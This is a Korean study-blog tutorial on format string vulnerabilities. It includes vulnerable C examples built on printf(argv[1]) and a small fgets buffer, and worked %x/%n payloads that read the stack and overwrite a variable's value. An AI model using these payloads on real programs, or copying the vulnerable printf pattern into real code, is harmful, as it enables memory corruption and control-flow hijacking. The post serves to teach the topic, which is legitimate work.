Study Record

[리버싱 기초개념] 포맷 스트링 공격 구문 본문

리버싱/기초 개념

[리버싱 기초개념] 포맷 스트링 공격 구문

초코초코초코 2021. 11. 17. 00:43
728x90

포맷 스트링 개요 및 메모리 값 바꾸기

1. 포맷 스트링 개요

※ 포맷 스트링?

일반적으로 사용로부터 입력을 받아들이거나 결과를 출력하기 위하여 사용하는 형식이다.

매개변수 형식 매개변수 형식
%d 정수형 10진수 상수(integer) %c 문자 값(char)
%f 실수형 상수(float) %s 문자열
%lf 실수형 상수(double) %o 8진수 양의 정수
%n * int(총 바이트 수)
- 이전까지 쓴 문자열의 바이트 수
%u 10진수 양의 정수
%hn %n의 반인 2바이트 단위 %x 16진수 양의 정수

 

포맷 스트링 형식 중 %x 는 버그가 있는 함수와 사용됐을 때 예상치 못한 동작을 하는 경우가 있다.

바로 printf("%x") 이다. 다음과 같은 코드(format.c)가 있다고 해보자. 

#include <stdio.h>
// vi format.c
// gcc -mpreferred-stack-boundary=2 -o format format.c
int main(int argc, char *argv[])
{
    int a=10;
    char *RokHacker="I am ROKHacker!";
    char *SuperUser="I am SuperUser!";

    printf(argv[1]);
    printf("\n");
}

 

디버거(gdb)를 이용해 format 프로그램을 분석하여 스택의 값들을 알아보기 전에 프로그램이 실행되면 [그림1] 과 같이 SFP(이전 프로그램에서 사용됐던 ebp값), RET(돌아갈 주소값), argc, argv*, env* 값들이 기본적으로 들어있다. 

[그림1] - 프로그램 시작 시 스택의 구조

디버거를 사용하여 format "%8x %8x %8x %8x %8x %8x %8x %8x" 프로그램에서 printf(argv[1]); 을 실행하기 바로 전의 스택의 내용들을 분석해보았다. 

이것을 보기 좋게 정리하면 [그림2]와 같다.

[그림2] - format 의 스택 구조

format "%8x %8x %8x %8x %8x %8x %8x %8x" 의 실행결과는 다음과 같다.

결과를 보니 이상한 값들이 출력됐는데 [그림2] 와 비교하면 스택에 들어있던 값들이 출력된 것을 알 수 있다!

 

2. 메모리 값 바꾸기

 

그렇다면 이걸 알았다고 아직 할 수 있는 것은 없다. 여기서 "%n" 이라는 포맷 스트링을 사용해볼 수 있다.

%n 포맷 스트링은 지정자 앞에 쓰인 문자의 수를 %n 지정자에 표기된 바이트 수만큼 이동한 메모리에 있는 주소에 값을 쓴다. 다음과 같은 예시를 보자.

#include <stdio.h>
main()
{
        int i=1;
        printf("i's address: %x\n", &i);
        printf("i's value: %d\n", i);
        printf("test%n\n", &i);
        printf("chaged i's value: %d\n", i);
}

printf("test%n\n", &i); 에서 변수 i에 %n 지정자 앞에 표기된 바이트 수(4)가 저장된다. 결과를 보면 다음과 같다.

※ printf("%5c", k) → 1byte이 아니라 5byte을 만들어서 한쪽에 변수 k 값을 넣는다. 따라서 printf("%100c%n", k, &i) 는 i = 100 와 같다.

 

 

 

다음은 a.out 코드 부분이다.

#include <stdio.h>
// vi test.c 
// gcc -mpreferred-stack-boundary=2 -o a.out test.c
main() {
    int i = 4660;
    char a[8];

    printf("string input : ");
    fgets(a, 100, stdin);
    printf("i : %p  value : %d\n", &i, i);
    printf("a : %s\n", a);
}

여기서 fgets 함수는 표준 입력(stdin)에서 최대 100바이트만큼 a 배열에 쓰기를 할 수 있다. 하지만 배열 a의 크기는 8바이트이므로 a배열 바로 뒤에 있던 변수 i 까지 영향을 미치게 될 것이다. 다음은 표준 입력으로 "AAAAAAAAAB"를 입력한 뒤 스택의 값을 출력해본 결과이다.

"A"는 아스키값에 의해 0x41 이고 "B"는 0x42, "\n"는 0x0a 이다. char a 배열이 공간이 8바이트밖에 없기 때문에 나머지 "AB\n"부분이 변수 int i 영향을 준 모습을 볼 수 있다. 여기서 의문점이 드는건 "AB\n"를 입력했는데 실제로 변수 int i 의 값은 "\nBA"(0x0a4241) 순으로 읽혀졌다는 것이다. 메모리 주소 상으로 봤을 때 char a 배열의 바로 다음 주소인 0xbffffad4 에 'A' 가 들어갔고 그 다음번지인 0xbffffad5 에 'B' , 0xbffffad6 에는 '\n' 값이 들어갔다. 이렇게 반대로 읽혀지는 이유는 리틀 엔디안 방식을 사용하고 있기 때문이다.

[그림3]

 

그렇다면 어떤 변수에 주소값 0xbfffff13 을 넣는 작업도 할 수 있을 것이다. 0xbffffff13 은 10진수로 바꿀 경우 너무 큰 수라 범위를 초과하여 인식하지 못한다. 따라서, 0xbfff 와 0xff13 을 따로 넣어야 할 것이다.  다음의 예시는 변수 i값을 0xbfffff13 바꾸는 예시이다. 여기서 알아두어야 할 것은 리틀 엔디안 방식을 따르기 때문에 0xbfffff13 의 값은 0xff13(2byte) , 0xbfff(2byte) 의 순서로 넣어야 할 것이다. (0xbfff = 49151(10진수) , 0xff13 = 65299(10진수))

#include <stdio.h>
main()
{
	long i=0x00000014, j=1, *k;
	printf("i's address : %x\n",&i);  
	+printf("i's value : %x\n",i);
	k=&i;                                                 
	printf("%65299d%n%49388d%n\n",j,k,j,k+2);  // 49388 = 1bfff - ff13 십진수로 표기한값
	printf("chaged i's value : %x\n",i);        
}

※ K 에는 0xff13(65299) 값이 들어가고 K+2 에는 %n 지정자 앞까지 표기된 바이트의 수이므로 (65299 + 49388 = 114687 = 0x1bfff) 에서 1은 버려져 0xbfff가 저장된다. 실제로 코드를 실행하면 세그먼트 폴트(segment fault)오류가 나오게 된다.

 

다음과 같은 소스 코드를 갖는 format3 프로그램이 있다고 하자.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        static int i=0;
        char str[128];

        strcpy(str, argv[1]);
        printf(str);
        printf("\n i=%p, i=%d\n", &i, i);
}

# ./format3 "AAAA %x %x %x %x"

위와 같이 실행했을 때 i의 주소값은 0x8049484 이고, strcpy() 명령어로 str 배열에는 "AAAA %x %x %x %x %x %x %x"가 들어가있을 것이다. A는 아스키코드값으로 0x41이기 때문에 4번째 %x 에서 str 배열 의 값이 출력되는 것을 알았다. 즉, 4번째 %x 부터 str 배열을 출력하기 시작했다.

만약 ./format3의 인자를 "AAAA%8x%8x%8x%n" 으로 입력한다면, "%8x%8x%8x" 을 출력하는데 스택포인터가 이동할 것이고 "%n" 에 해당하는 동작을 하기위해 현재 스택 포인터(SP)가 가리키는 곳에 저장된 문자열인 "AAAA"16진수 값인 0x41414141에 해당하는 주소에 strlen(AAAA%8x%8x%8x)의 결과에 해당하는 0x1c(28)을 쓰려고 할 것이다.

 

※ ./format3 "AAAA %x %x %x %x" 를 실행했을 때, %x 의 동작을 실행시키기 위해 현재 스택 포인터가 가리키는 값인 bffffc22 가 출력될 것이고 스택 포인터는 다음을 가리킬 것이다. 그 다음 %x 의 동작을 실행시키기 위해 현재 스택 포인터가 가리키는 값인 0 이 출력될 것이다. 이런식으로 4번째 %x 에서의 스택 포인트는 str 배열을 가리키는 주소였기 때문에 str 배열의 내용이 출력되었던 것이다.

 

그렇다면 format3에서 변수 i의 값을 120으로 바꾸려면 어떻게 해야할까?

char str 배열의 처음 4바이트를 i의 주소값으로 바꾸고 %n기호를 사용하면 바꿀 수 있을 것 같다.

i의 주소값인 0x8049484를 그대로 str에 입력하기 위해 쉘에서 $(printf "\x84\x94\x04\x08") 을 입력하면 된다.

./format3 $(printf "\x84\x94\x04\x08")%8x%8x%8x%8x 를 실행해보자.

실행결과 4번째 %8x 즉 str 배열에 i의 주소값이 잘 들어간 것을 볼 수 있다.

이제 ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%100x%n 을 실행하면 i의 값은 120(4+8+8+100)이 된다.

./format3 $(printf "\x84\x94\x04\x08")%8x%8x%8x%8x 에서 %8x 의 출력결과를 보면 4번째 %8x 에서 str 배열의 메모리의 처음값(8049484)이 출력되는 것을 볼 수 있다. 이것은 곧 4번째 포맷 스트링의 입력값str 배열의 메모리의 처음값(8049484)이라는 의미가 된다. 따라서 ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%100x%n 의 결과값은 4번째 포맷 스트링의 입력값은 무조건 str 배열의 메모리의 처음값(8049484)이기 때문에 포맷 스트링이 %8x 면 16진수로 이 값을 출력해주고 %n 일 경우 str 배열의 메모리의 처음값(8049484)에 해당하는 주소에 %n 지정자 앞까지 표기된 바이트의 수(120)을 쓸 것이다.

 

조금 더 응용하여, ./format3 $(printf "\x41\x41\x41\x41\x84\x94\x04\x08")%8x%8x%8x%8x%8x 과 같이 실행했다고 해보자.

# ./format3 $(printf "\x41\x41\x41\x41\x84\x94\x04\x08")%8x%8x%8x%8x%8x

이번에는 앞에 AAAA(\x41\x41\x41\x41)를 붙여서 실행해본 결과 똑같이 4번째 %8x 의 입력값은 str배열의 메모리의 처음 값(41414141)이다. 이 형식에서 i에 120을 넣으려고 한다면 5번째 포맷 스트링 입력값이 i의 주소값(0x804984)이므로 ./format3 $(printf "\x41\x41\x41\x41\x84\x94\x04\x08")%8x%8x%8x%88x%n 로 실행하면 된다.

(printf 결과 8byte + 8 + 8 + 8 + 8 + 88 = 120)

 

+ 포맷 스트링 취약점 여부 판단

segment fault : 잘못된 주소 포인트할 경우 생기는 오류로 공격자가 RET 값 변조 여부를 판단할 수 있다.

포맷 스트링 매개변수 중 %x 를 입력했을 때, "%x" 문자열이 그대로 출력되는 것이 아니라 스택 주소값이 출력되면 포맷 스트링 취약점이 있다.

 

+ 아스키코드값 확인하기

# man ascii  (필요하다면, export LANG=C)

728x90